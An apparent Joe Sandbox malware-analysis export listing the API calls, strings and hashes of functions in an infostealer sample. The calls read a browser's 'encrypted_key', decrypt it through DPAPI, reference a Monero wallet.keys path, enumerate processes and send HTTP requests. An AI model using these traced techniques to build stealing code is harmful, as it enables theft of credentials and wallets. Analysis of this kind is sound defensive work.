Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 6dfdbca0ee762c94b5efa32d27cc09da11e3b56ec0fad670ab6b4b14cc24dce6
Instruction ID: 45e6acf9ec94f2ab5f44ddebb412cef5103e1ee5522aba03e2a3e08db609786d
Opcode Fuzzy Hash: 6dfdbca0ee762c94b5efa32d27cc09da11e3b56ec0fad670ab6b4b14cc24dce6
Instruction Fuzzy Hash: 5B512D729102189BCB04FBA4EC56DED73B8AF94311F4085A8F81B77191EF746A18CB62

Function 00B19D30 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B19A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
Part of subcall function 00B19A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
Part of subcall function 00B19A10: LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
Part of subcall function 00B19A10: ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
Part of subcall function 00B19A10: LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
Part of subcall function 00B19A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

Part of subcall function 00B288D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B19D89

Part of subcall function 00B19B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B3F
Part of subcall function 00B19B10: LocalAlloc.KERNEL32(00000040,?,?,?,00B14F3E,00000000,?), ref: 00B19B51
Part of subcall function 00B19B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B7A
Part of subcall function 00B19B10: LocalFree.KERNEL32(?,?,?,?,00B14F3E,00000000,?), ref: 00B19B8F

Part of subcall function 00B19BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B19BD4
Part of subcall function 00B19BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00B19BF3
Part of subcall function 00B19BB0: LocalFree.KERNEL32(?), ref: 00B19C23

Strings

DPAPI, xrefs: 00B19DD9
, xrefs: 00B19E11
"encrypted_key":", xrefs: 00B19D80

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 549879638-738592651
Opcode ID: 837b8c149ba5c125b4a0c4c82ffb44cb8d0b5bdb84afb1a47e82dd59d3859a5b
Instruction ID: 35992f0de0161bf8063bab051754d5ac3bbdbfebcbe0961182717fef46d954aa
Opcode Fuzzy Hash: 837b8c149ba5c125b4a0c4c82ffb44cb8d0b5bdb84afb1a47e82dd59d3859a5b
Instruction Fuzzy Hash: F23110B6D10109ABCB04DFE4DD55AEFB7F8AF48304F944598E905A7241E7309B54CBA1

Function 00B28120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B2816A
Process32First.KERNEL32(?,00000128), ref: 00B2817E
Process32Next.KERNEL32(?,00000128), ref: 00B28193

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00B28201

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 3dafb774f581f214800f9adf00aa582629e22e1e5813ab73cb616978b66098ca
Instruction ID: 374b6c1ed3cf217538dd5ddfbc3b47dbeaec2a589573865ea64649b88ba3a3ff
Opcode Fuzzy Hash: 3dafb774f581f214800f9adf00aa582629e22e1e5813ab73cb616978b66098ca
Instruction Fuzzy Hash: 7C313C71911228ABCB24EB54EC91FEEB7B8EF59701F1041D9A50EB61A0DB706E44CFA1

Function 00B26593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00748E20,?,00B310DC,?,00000000,?,00B310E0,?,00000000,00B30ADA), ref: 00B2656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B26588
CloseHandle.KERNEL32(00000000), ref: 00B26599
Sleep.KERNEL32(00001770), ref: 00B265A4
CloseHandle.KERNEL32(?,00000000,?,00748E20,?,00B310DC,?,00000000,?,00B310E0,?,00000000,00B30ADA), ref: 00B265BA
ExitProcess.KERNEL32 ref: 00B265C2

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: c93e131417545bcbca4deaaa02bbcffdf06d002412f596d31c395bc108724b6e
Instruction ID: b52847b76dba30443ab19ff758b444b995d52c7296edba0bcf0ee92376803ea0
Opcode Fuzzy Hash: c93e131417545bcbca4deaaa02bbcffdf06d002412f596d31c395bc108724b6e
Instruction Fuzzy Hash: 1DF05E30900229EFEB10BBA0FC49BBD77B4AF28701F104595B91AE5295DBF0A9008A65

Function 00B26B70 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 00B26B7F

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00B26C2C

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: 24c69fe51a3431ef6ca8d2187c5969e87cb14d1ed4064c48468b8a1ac54fc092
Instruction ID: 09de20f3e1871f036b6a052202deb2d5002922694d922ddae5f35245c2a25520
Opcode Fuzzy Hash: 24c69fe51a3431ef6ca8d2187c5969e87cb14d1ed4064c48468b8a1ac54fc092
Instruction Fuzzy Hash: 2D5141B0D0022C9BDB24EB90EC95BEEB7B4EF58304F5045E9E11976182EB746E88CF55

Function 00B24CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B162D0: InternetOpenA.WININET(00B30DE6,00000001,00000000,00000000,00000000), ref: 00B16331
Part of subcall function 00B162D0: StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B16353
Part of subcall function 00B162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B16385
Part of subcall function 00B162D0: HttpOpenRequestA.WININET(00000000,GET,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B163D5
Part of subcall function 00B162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B1640F
Part of subcall function 00B162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B16421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B24D08

Strings

ERROR, xrefs: 00B24CFA
ERROR, xrefs: 00B24D53

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: aa73b91b73e12d980cbad40d0aa24b35493afe0e57dd023e55b014b2d151e397
Instruction ID: c526e8233bd8024976eccc7500483b9abea5226dba9df58a26847ef7c26d4c8f
Opcode Fuzzy Hash: aa73b91b73e12d980cbad40d0aa24b35493afe0e57dd023e55b014b2d151e397
Instruction Fuzzy Hash: 6D113330900118A7CB18FF64EC969ED77B8AF50350F9045E4F91E66592EF70AB14C691

Function 00B24A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B24A5A
lstrcat.KERNEL32(?,00B31040), ref: 00B24A77
lstrcat.KERNEL32(?,00748C20), ref: 00B24A8B
lstrcat.KERNEL32(?,00B31044), ref: 00B24A9D

Part of subcall function 00B243F0: wsprintfA.USER32 ref: 00B2440C
Part of subcall function 00B243F0: FindFirstFileA.KERNEL32(?,?), ref: 00B24423

Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FAC), ref: 00B24451
Part of subcall function 00B243F0: StrCmpCA.SHLWAPI(?,00B30FB0), ref: 00B24467
Part of subcall function 00B243F0: FindNextFileA.KERNEL32(000000FF,?), ref: 00B2465D
Part of subcall function 00B243F0: FindClose.KERNEL32(000000FF), ref: 00B24672

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: c8afe9c1ba5e9bb55e2f66921ff155d525729199aee7fb48f31cd60e701423a4
Instruction ID: 42e0412a7f6654d1bac9c4cf8bf309a238ef758cabd5fd3b76d20b9864d9e055
Opcode Fuzzy Hash: c8afe9c1ba5e9bb55e2f66921ff155d525729199aee7fb48f31cd60e701423a4
Instruction Fuzzy Hash: FB21D87691021867C718FBA0FC42ED9377DAB94700F4085D4B64AA3281EE7466C88F71

Function 00B20580 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00748C70), ref: 00B205DA
StrCmpCA.SHLWAPI(00000000,00748D60), ref: 00B206A6
StrCmpCA.SHLWAPI(00000000,00748D20), ref: 00B207DD

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7ce1f5d90fd7f6c3fdd8ef8f5c1e83b478e6ee66056fead3c1b60027349eb307
Instruction ID: 3aa5615e055dc3a2a925c64e11f0ee1ce8d4563477a9d3d2844324b0dd82d640
